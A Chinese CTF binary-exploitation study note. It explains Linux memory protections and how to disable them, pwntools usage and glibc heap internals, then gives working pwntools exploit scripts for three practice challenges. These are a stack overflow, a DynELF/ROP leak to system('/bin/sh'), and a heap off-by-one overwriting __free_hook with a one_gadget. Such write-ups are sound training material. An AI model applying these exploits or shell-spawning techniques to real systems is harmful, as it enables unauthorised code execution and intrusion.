一、基础知识
1.保护机制
- PIE (ASLR) 全称(position-independent exeecutable)。中文为地址无关可执行文件。该技术是一个针对代码段(.text)、数据段(.data)、为初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时变换加载地址,从而不能通过ROPgadget等工具帮助解题。Linux开启和关闭命令:
$ sudo -s echo 0 > /proc/sys/kernel/randomize_va_space #关闭系统ASLR
$ gcc -o shanzhu shanzhu.c //默认情况下,开启PIE
$ gcc -no-pie -o shanzhu shanzhu.c //禁用PIE保护
- NX (DEP) 全称(NO-execute)不可执行的意思,NX的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常。Linux开启和关闭命令:
$ gcc -o shanzhu shanzhu.c //默认情况下,开启NX保护
$ gcc -z execstack -o shanzhu shanzhu.c //禁用NX保护
$ gcc -z noexecstack -o shanzhu shanzhu.c //开启NX保护
- RELRO 在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处.GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术: read only relocation。大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读.设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。
$ gcc -o shanzhu shanzhu.c // 默认情况下,是Partial RELRO
$ gcc -z norelro -o topsec shanzhu .c // 关闭,即No RELRO
$ gcc -z lazy -o shanzhu shanzhu.c // 部分开启,即Partial RELRO
$ gcc -z now -o shanzhu shanzhu.c // 全部开启
- CANARY(栈保护)栈溢出保护
$ gcc -o shanzhu shanzhu.c //默认情况下,不开启Canary保护
$ gcc -fno-stack-protector -o shanzhu shanzhu.c //禁用栈保护
$ gcc -fstack-protector -o shanzhu shanzhu.c //启用堆栈保护,不过只有局部变量中char数组的函数插入保护代码
$ gcc -fstack-protector-all -o shanzhu shanzhu.c //启用堆栈保护,为所有函数插入保护代码
总结:
NX:-z execstack / -z noexecstack (关闭 / 开启)
Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启)
PIE:-no-pie / -pie (关闭 / 开启)
RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启)
禁用所有保护编译:
$ gcc -no-pie -fno-stack-protector -z norelro -z execstack -z norelro -o shanzhu shanzhu.c
2.pwn工具
-
连接:本地process()、远程remote( , );对于remote函数可以接url并且指定端口
-
数据处理:主要是对整数进行打包:p32、p64是打包为二进制,u32、u64是解包为二进制
-
IO模块:这个比较容易跟zio搞混,记住zio是read、write,pwn是recv、send
send(data): 发送数据
sendline(data) : 发送一行数据,相当于在末尾加\n
recv(numb=4096, timeout=default) : 给出接收字节数,timeout指定超时
recvuntil(delims, drop=False) : 接收到delims的pattern
(以下可以看作until的特例)
recvline(keepends=True) : 接收到\n,keepends指定保留\n
recvall() : 接收到EOF
recvrepeat(timeout=default) : 接收到EOF或timeout
interactive() : 与shell交互
- ELF模块:获取基地址、获取函数地址(基于符号)、获取函数got地址、获取函数plt地址
e = ELF('/bin/cat')
print hex(e.address) # 文件装载的基地址
0x400000
print hex(e.symbols['write']) # 函数地址
0x401680
print hex(e.got['write']) # GOT表的地址
0x60b070
print hex(e.plt['write']) # PLT的地址
0x401680
- 常用
context.arch = 'amd64' //设置架构
context.log_level = 'debug' //显示log详细信息
libc = ELF('./libc-2.24.so') //加载库文件
- ELF重定位目标文件的节
.bss(Block Strorage Start) 储存未初始化的全局和c变量,和被初始化为0的全局和静态变量
$ readelf -S ret2text //可以看到bss段地址
$ objdump -h ret2text
常用写法:
from pwn import *
import pdb #这个是为了调试用的
#-*- coding: utf-8 -*-
debugger=1
if debugger==1:
p = process('./ret2text')
else:
p = remote('10.11.26.11', 8011)
pdb.set_trace() # 这里是设置断点,实际使用时可以去掉
payload = '' #各种payload和地址
p.recvuntil(" :")
p.sendline(payload)
p.interactive()
3.栈基本模型
地址 | 参数 | |
---|---|---|
0xffffffff | 参数N | 函数参数 |
0xfffffff9 | 参数... | |
0xfffffff8 | 参数3 | |
0xfffffff7 | 参数2 | |
0xfffffff6 | 参数1 | |
0xfffffff5 | EIP | 返回本次调用后,下一条指令的地址 |
0xfffffff4 | EBP | 保存调用者的EBP,返回后EBP指向栈顶 |
0xfffffff3 | 临时变量1 | |
0xfffffff2 | 临时变量2 | |
0xfffffff1 | 临时变量3 |
4.堆基本模型
allocated chunk
状态图:
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
# 这里是user Data返回的指针是这里
. .
. (malloc_usable_size() bytes) .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
free chunk
状态图:
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' | Size of chunk, in bytes |A|0|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Forward pointer to next chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Back pointer to previous chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused space (may be 0 bytes long) .
. .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' | Size of chunk, in bytes |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|0|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
结构体:
/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
//这是chunk的整体结构,释放和使用时都是使用这个结构体做解释
字段解释:
-
prev_size 如果前面的chunk被使用则本chunk的这个字段是无效的。
-
size 当前chunk的大小
-
fd //这两个指针只在free chunk中存在
-
bk //这两个指针只在free chunk中存在
-
fd_nextsize
-
bk_nextsize
Libc 维护的freelist
glibc 的回收 (free chunk)
arena、bin、chunk的三者关系图
解释:
-
arena:通过sbrk或mmap系统调用为线程分配的堆区,安线程分为两类:
-
main arena :主线程建立的arena
-
thread arena:子线程建立的arena
-
-
chunk:逻辑上划分的一小块内存,根据作用不同分为4类:
-
Allocated chunk:分配给用户且未释放的内存块。
-
Free chunk:已被用户释放的内存块。
-
Top chunk:
-
Last Remainder chunk
-
-
bin:用以保存Free chunk链表表头信息的指针数组,按悬挂链表类型分为4类:
-
Fast bin
-
Unsorted bin
-
Small bin
-
Large bin
-
总结 :arena包含bin
Arena 分析内存分配与回收
main arena中的内存申请
-
第一次申请
根据申请的内存空间大小是否达到mmap系统调用的阙值决定使用sbrk还是mmap。一般分配空间比申请空间要大,这样可以减少后续申请次数。
-
第N次申请
根据arena中剩余空间的大小决定是继续分配还是扩容,其中包含扩容部分的为top chunk。
top chunk 不属于任何bin。只有free chunk依附与bin
trhead arena中的申请
thread arena的堆内存是使用mmap系统调用分配的。
内存回收:线程释放的内存不会直接返回给操作系统,而是给glibc mallo。
bin的分析
内存分配:
堆申请会在bin或top chunk中寻找合适内存块,返回给用户。他们存在各种表其索引时优先级如下:
-
fastbinY
-
small bins
-
unsorted bins
-
large bins
-
top bins
前四个都是被释放或的块,可能被合并过。
内存回收:
bin可以分4类:Fast bin、Unsorted bin、Small bin和 Large bin。保存这些bin的数据结构为fastbinsY以及bins:
-
fastbinsY:用以保存fast bins。(大小 16~48B的内存块)
-
bins:用以保存unsorted、small和large bins,共计容纳126个:
-
Bin 1 - unsorted bin
-
Bin 2 to Bin 63 - small bin (大小 < 512B的内存块)
-
Bin 64 to bin 126 - large bin ( 大小>=512B的内存块 )
-
在释放时,会根据块的大小来判断放入的bin中:
-
16~64B的内存块被添加入fastbinY中
-
samll及large的会添加在bins中的unsorted bins中。
arena
是包含一片或数片连续的内存,堆块会从这片区域划分给用户。
主线程的 arena 叫:main_arena (包含 start_brk ~ brk之间的连续内存)
主线程arena只有堆,子线程arena可以有数片连续内存。
子线程连续内存的结构体表示:heap_info
malloc_chunk
chunk是glibc管理内存的基本单位。
struct malloc_chunk{
//INTERNAL_SIZE_T 64位下是8字节,32位下是4字节
INTERNAL_SIZE_T prev_size;
INTERNAL_SIZE_T size;
struct malloc_chunk* fd;
struct malloc_chunk* bk;
struct malloc_chunk* fd_nextsize;
struct malloc_chunk* bk_nextsize;
}
-
prev_size :如果上一个chunk处于释放状态,用于表示其大小;否则作为上一个chunk的一部分,用于保存上一个chunk的数据。
-
size:表示当前chunk的大小,根据规定必须是2*SIZE_SZ的整数倍。SIZE_SEZ 在64位下是8字节,32位下是4字节。受到内存对齐影响,最后3个比特位被用作状态标识,最低两位比特位:
-
IS_MAPPED: 用于标识一个chunk是否从mmap函数中获得。如果用户申请一个相当大的内存,malloc会通过mmap函数分配一个映射段。
-
PREV_INUSE:用于标识上一个chunk的状态。当他为1时,表示上一个chunk为释放状态,反之为使用状态。
-
-
fd 和 bk:释放状态下才使用。在free chunk表中 指向当前chunk的前一个chunk和后一个chunk。
-
fd_nextsize 和 bk_nextsize:释放状态下才使用仅用于large bin表中。指向前一个和后一个chunk的大小。
bin介绍
依据大小不同划分四中bin:Fast bin、Small bin、Large bin、Unsorted bin。都保存在malloc_sttate结构体中。
-
fastbinsY:这是一个bin数组,里面有NFASTBINS个fast bin。
-
bins:也是一个bin数组,总共126个bin,按顺序分别是:
-
bin 1 为 unsorted bin
-
bin 2 到 bin 63 为 small bin
-
bin 64 到 bin 126 为 large bin
-
libc-2.26 增加 TCache机制(Thread Local Caching)
Fast bin 单链表结构,采用LIFO(后进先出) 的分配策略。表里的chunk不会合并,PREV_INUSE 始终为1.在fastbinsY数组里按大小的顺序排列,下标为0的fastbin中容纳chunk的大小 4*SIZE_SZ。随着序号增加,容量chunk递增2 * SIZE_SZ。
unsortedbin 双链表结构,采用FIFO(先进先出)的分配策略。容纳的chunk大小可以不同
small bin 双链表结构,容纳的chunk大小相同。每个small bin的大小为2 * SIZE_SE * idx(下标)。64位系统中最小的small chunk位2x8x2=32字节,最大small chunk为2 x 8 x 63 = 1008字节。
large bin 双链表结构
tcache 容量0x400 (0x20~0x410范围,间隔是0x10. 这是64位的)
House of Force 是覆写top chunk来分配内存地址的攻击方法
House of lore 是利用small bin机制导致任意地址分配
House of orange 原理是在没有free的情况下如何产生一个free状态的bins和io_file的利用
Tcache bin
tcache 在libc2.26中加入,全称为 Thread Local Caching,它为每个线程创建一个缓存,里面包含了小堆块。无需对arena上锁即可使用。每个线程默认使用64个单链表结构的bins,每个bins最多存放7个chunk,64位机器16字节递增,从0x20到0x410大小的chunk 被释放后都会先存入到tcache bin中。使用前进后出算法,tcache中的chunk不会被合并,prev_inuse标志位不会被清除。每次堆都会产生一个0x250大小的堆块,该堆块位于堆的开头,用于记录64个bins的地址以及每个bins中的chunk数量。在0x250大小的堆块中,前0x40个字节用于记录每个bins中chunk数量,每个字节对应一条tcache bin链的数量,从0x20开始到0x410结束,刚好64条链,然后剩下的每8字节记录一条tcache bin链的开头地址,也是从0x20开始到0x410结束。tcache bin中的fd指针是指向malloc返回的地址,也就是mem。
二、栈利用
-
保护
-
反编译查看
-
计算栈溢出距离
-
编写python利用
题目:jarvisoj_level0
checksec
[*] '/home/hx/Desktop/level0'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
IDA 查看
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x200uLL);
}
计算得到 136长度覆盖eip
利用代码
from pwn import *
import pdb #这个是为了调试用的
#-*- coding: utf-8 -*-
debugger=0
if (debugger):
p = process('./level0')
else:
p = remote('10.11.26.11', 8011)
# pdb.set_trace() # 这里是设置断点,实际使用时可以去掉
system_addr = 0x400596
payload = b'a'*136+ p64(system_addr) #各种payload和地址
p.sendline(payload)
p.interactive()
题目:level3
checksec
[*] '/home/hx/Desktop/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
IDA 查看
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}
这里没有可利用的函数,也没有给出具体libc的版本所以需要使用DynELF工具计算system函数在内存中的位置。将/bin/sh 写入到bss段中,调用函数使用system(bss)方式获取反弹shell。
利用代码
from pwn import *
import pdb
from LibcSearcher import *
context.log_level="info"
debug = 0
if(debug):
p = process('./level3')
else:
p = remote('node4.buuoj.cn', 26383)
elf = ELF('./level3')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulnerable_function = 0x804844B
bss_addr = 0x804a024
init_start=0x8048350
payload = b'a'*140 #计算出的溢出长度
def leak(address):
leakpayload = b'a'*140 + p32(plt_write)+p32(vulnerable_function)+p32(1)+p32(address)+p32(4)
p.recvuntil('Input:\n')
p.send(leakpayload)
data = p.recv(4)
print("%#x ==> %s " % (address,(data or '').hex()))
return data
d = DynELF(leak, elf=ELF('./level3'))
system_addr = d.lookup('__libc_system', 'libc') #这里返回system在内存中的地址
print ("system_addr=" + hex(system_addr))
init_payload=b'a'*140+p32(init_start)
p.recvuntil('Input:\n')
p.send(init_payload)
ROPgadget=0x08048519 #pop esi ; pop edi ; pop ebp ; ret
write_payload = b'a'*140+p32(plt_read)+p32(ROPgadget)+p32(0)+p32(bss_addr)+p32(8)+p32(init_start)
p.recvuntil('Input:\n')
# pdb.set_trace()
p.send(write_payload)
p.send('/bin/sh\0')
getshell_payload=b'a'*140+p32(system_addr)+p32(0xaaaa)+p32(bss_addr)
p.recvuntil('Input:\n')
p.send(getshell_payload)
p.interactive()
三、堆利用
-
查看保护
-
反编译查看
-
计算覆盖范围
-
编写python利用
题目:b00ks
checksec
[*] '/home/hx/Desktop/b00ks'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
IDA 查看
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
struct _IO_FILE *v3; // rdi
__int64 savedregs; // [rsp+20h] [rbp+0h]
setvbuf(stdout, 0LL, 2, 0LL);
v3 = stdin;
setvbuf(stdin, 0LL, 1, 0LL);
sub_A77(v3, 0LL);
changname_b00k();
while ( (unsigned int)sub_A89(v3) != 6 )
{
switch ( (unsigned int)&savedregs )
{
case 1u:
malloc_b00k();
break;
case 2u:
free_b00k();
break;
case 3u:
edit_b00k();
break;
case 4u:
print_b00k();
break;
case 5u:
changname_b00k();
break;
default:
v3 = (struct _IO_FILE *)"Wrong option";
puts("Wrong option");
break;
}
}
puts("Thanks to use our library software");
return 0LL;
}
signed __int64 malloc_b00k()
{
void *v0; // rdi
int v2; // [rsp+0h] [rbp-20h]
int v3; // [rsp+4h] [rbp-1Ch]
void *v4; // [rsp+8h] [rbp-18h]
void *ptr; // [rsp+10h] [rbp-10h]
void *v6; // [rsp+18h] [rbp-8h]
v2 = 0;
printf("\nEnter book name size: ", *(_QWORD *)&v2);
__isoc99_scanf("%d", &v2);
if ( v2 >= 0 )
{
printf("Enter book name (Max 32 chars): ", &v2);
ptr = malloc(v2);
if ( ptr )
{
if ( (unsigned int)sub_9F5(ptr, v2 - 1) )
{
printf("fail to read name");
}
else
{
v2 = 0;
printf("\nEnter book description size: ", *(_QWORD *)&v2);
__isoc99_scanf("%d", &v2);
if ( v2 >= 0 )
{
v6 = malloc(v2);
if ( v6 )
{
printf("Enter book description: ", &v2);
v0 = v6;
if ( (unsigned int)sub_9F5(v6, v2 - 1) )
{
printf("Unable to read description");
}
else
{
v3 = sub_B24(v0);
if ( v3 == -1 )
{
printf("Library is full");
}
else
{
v4 = malloc(0x20uLL);
if ( v4 )
{
*((_DWORD *)v4 + 6) = v2;
*((_QWORD *)off_202010 + v3) = v4;
*((_QWORD *)v4 + 2) = v6;
*((_QWORD *)v4 + 1) = ptr;
*(_DWORD *)v4 = ++unk_202024;
return 0LL;
}
printf("Unable to allocate book struct");
}
}
}
else
{
printf("Fail to allocate memory", &v2);
}
}
else
{
printf("Malformed size", &v2);
}
}
}
else
{
printf("unable to allocate enough space");
}
}
else
{
printf("Malformed size", &v2);
}
if ( ptr )
free(ptr);
if ( v6 )
free(v6);
if ( v4 )
free(v4);
return 1LL;
}
signed __int64 sub_BBD()
{
int v1; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]
i = 0;
printf("Enter the book id you want to delete: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
for ( i = 0; i <= 19 && (!*((_QWORD *)off_202010 + i) || **((_DWORD **)off_202010 + i) != v1); ++i );
if ( i != 20 )
{
free(*(void **)(*((_QWORD *)off_202010 + i) + 8LL));
free(*(void **)(*((_QWORD *)off_202010 + i) + 16LL));
free(*((void **)off_202010 + i));
*((_QWORD *)off_202010 + i) = 0LL;
return 0LL;
}
printf("Can't find selected book!", &v1);
}
else
{
printf("Wrong id", &v1);
}
return 1LL;
}
signed __int64 sub_E17()
{
int v1; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]
printf("Enter the book id you want to edit: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
for ( i = 0; i <= 19 && (!*((_QWORD *)off_202010 + i) || **((_DWORD **)off_202010 + i) != v1); ++i )
;
if ( i == 20 )
{
printf("Can't find selected book!", &v1);
}
else
{
printf("Enter new book description: ", &v1);
if ( !(unsigned int)text_input(
*(_BYTE **)(*((_QWORD *)off_202010 + i) + 16LL),
*(_DWORD *)(*((_QWORD *)off_202010 + i) + 24LL) - 1) )
return 0LL;
printf("Unable to read new description");
}
}
else
{
printf("Wrong id", &v1);
}
return 1LL;
}
signed __int64 __fastcall text_input(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]
if ( a2 <= 0 )
return 0LL;
buf = a1;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == 10 )
break;
++buf;
if ( i == a2 )
break;
}
*buf = 0;
return 0LL;
}
int print_b00k()
{
__int64 v0; // rax
signed int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 19; ++i )
{
v0 = *((_QWORD *)off_202010 + i);
if ( v0 )
{
printf("ID: %d\n", **((unsigned int **)off_202010 + i));
printf("Name: %s\n", *(_QWORD *)(*((_QWORD *)off_202010 + i) + 8LL));
printf("Description: %s\n", *(_QWORD *)(*((_QWORD *)off_202010 + i) + 16LL));
LODWORD(v0) = printf("Author: %s\n", off_202018);
}
}
return v0;
}
signed __int64 changname_b00k()
{
printf("Enter author name: ");
if ( !(unsigned int)text_input(off_202018, 32) )
return 0LL;
printf("fail to read author_name", 32LL);
return 1LL;
}
创建结构体
struct book_struc{
int book_id; //offset:0
char* book_name; // offset:8 malloc(size)
char* book_description; // offset:16 malloc(size)
int book_description_size; // offset:24
}
解释说明:
通过修改author_name可以向author_name_ptr
中越界写入一个字节\x00
,这样会覆盖global_book_struct_array
中保存的第一个book_struct的地址。
创建2个book,通过单字节溢出,使得book1_struct
指针指向book1_description
中;然后在book1_description
中伪造一个book1_struct
,使得其中的book1_description_ptr
指向book2_description_ptr
;通过先后修改book1_description
和book2_description
,从而实现任意地址写任意内容的功能。
利用代码:
from pwn import *
import struct
import pdb
# -*- coding: utf-8 -*-
context.log_level="info"
binary = ELF("b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
io = process("./b00ks")
def createbook(name_size, name, des_size, des):
io.readuntil("> ")
io.sendline("1")
io.readuntil(": ")
io.sendline(str(name_size))
io.readuntil(": ")
io.sendline(name)
io.readuntil(": ")
io.sendline(str(des_size))
io.readuntil(": ")
io.sendline(des)
def printbook(id):
io.readuntil("> ")
io.sendline("4")
io.readuntil(": ")
for i in range(id):
book_id = int(io.readline()[:-1])
io.readuntil(": ")
book_name = io.readline()[:-1]
io.readuntil(": ")
book_des = io.readline()[:-1]
io.readuntil(": ")
book_author = io.readline()[:-1]
return book_id, book_name, book_des, book_author
def createname(name):
io.readuntil("name: ")
io.sendline(name)
def changename(name):
io.readuntil("> ")
io.sendline("5")
io.readuntil(": ")
io.sendline(name)
def editbook(book_id, new_des):
io.readuntil("> ")
io.sendline("3")
io.readuntil(": ")
io.writeline(str(book_id))
io.readuntil(": ")
io.sendline(new_des)
def deletebook(book_id):
io.readuntil("> ")
io.sendline("2")
io.readuntil(": ")
io.sendline(str(book_id))
createname("A" * 32) # author name
createbook(140, "a", 140, "b")
# createbook(0x21000, "cccc", 0x21000, "dddd")
# pdb.set_trace()
book_id_1, book_name, book_des, book_author = printbook(1)
# # print(book_author[32:32+6])
addr_bytes = u64(book_author[32:32+6]+b'\x00'+b'\x00')
print(hex(addr_bytes))
# 这里泄漏数组指针 book1_struct_addr
book2_struct_addr = addr_bytes+0x30
createbook(0x21000,"book_2",0x21000,"second book create") #为了使使用mmap映射内存,因为映射的内存与libc距离是固定的
# fake book1_struct
payload = b'a'*0x40+p64(1)+p64(book2_struct_addr+0x8)*2+p64(0xffff)
editbook(book_id_1, payload)
changename("A" * 32)
book_id_1, book_name, book_des, book_author = printbook(1)
book2_name_leak = u64(book_name+b'\x00'+b'\x00')
print(hex(book2_name_leak))
libc_base = book2_name_leak-0x5b1010 #这里是分两步,第一计算出 book2_name 与mmap基地址偏移=0x22010 在计算mmap距离libc的偏移=0x58f000 将两个偏移相加=0x5b1010
# 0x559c25272000 0x559c25274000 r-xp 2000 0 /home/hx/Desktop/b00ks
# 0x559c25473000 0x559c25474000 r--p 1000 1000 /home/hx/Desktop/b00ks
# 0x559c25474000 0x559c25475000 rw-p 1000 2000 /home/hx/Desktop/b00ks
# 0x559c25ef7000 0x559c25f19000 rw-p 22000 0 [heap]
# 0x7f77ae643000 0x7f77ae803000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
# 0x7f77ae803000 0x7f77aea03000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
# 0x7f77aea03000 0x7f77aea07000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
# 0x7f77aea07000 0x7f77aea09000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
# 0x7f77aea09000 0x7f77aea0d000 rw-p 4000 0
# 0x7f77aea0d000 0x7f77aea33000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
# 0x7f77aebd2000 0x7f77aec19000 rw-p 47000 0 《================== 这里是 mmap 泄漏的book2_name-0x7f77aebd2000=0x22010 距离mmap地址的距离 + ((mmap基地址0x7f77aebd2000 - 0x7f77ae643000)=0x5b1010 mmap地址与libc基地址的偏移)=0x5b1010 两个偏移相加就等于book2_name到libc的偏移
# 0x7f77aec32000 0x7f77aec33000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
# 0x7f77aec33000 0x7f77aec34000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
# 0x7f77aec34000 0x7f77aec35000 rw-p 1000 0
# 0x7fff2a16a000 0x7fff2a18b000 rw-p 21000 0 [stack]
# 0x7fff2a1ab000 0x7fff2a1ae000 r--p 3000 0 [vvar]
# 0x7fff2a1ae000 0x7fff2a1b0000 r-xp 2000 0 [vdso]
# 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
print(hex(libc_base))
# 这里如何计算libc的基地址,这里计算libc基地址是使用gdb的方式,能否换个方法让其主动泄漏地址,这样exp的通用性会更高,不用在每次运行时还要开启gdb计算地址
free_hook = libc.symbols['__free_hook']+libc_base
one_gadget = libc_base + 0x4527a # 0x45226 0x4527a 0xf03a4 0xf1247 这里是one_gadget 搜索出来的可用片段,一个一个试出来的
# system = libc.symbols['system']+libc_base
# print(type(libc.search('/bin/sh')))
print(hex(free_hook))
editbook(1,p64(free_hook) * 2)
editbook(2,p64(one_gadget))
deletebook(2)
io.interactive()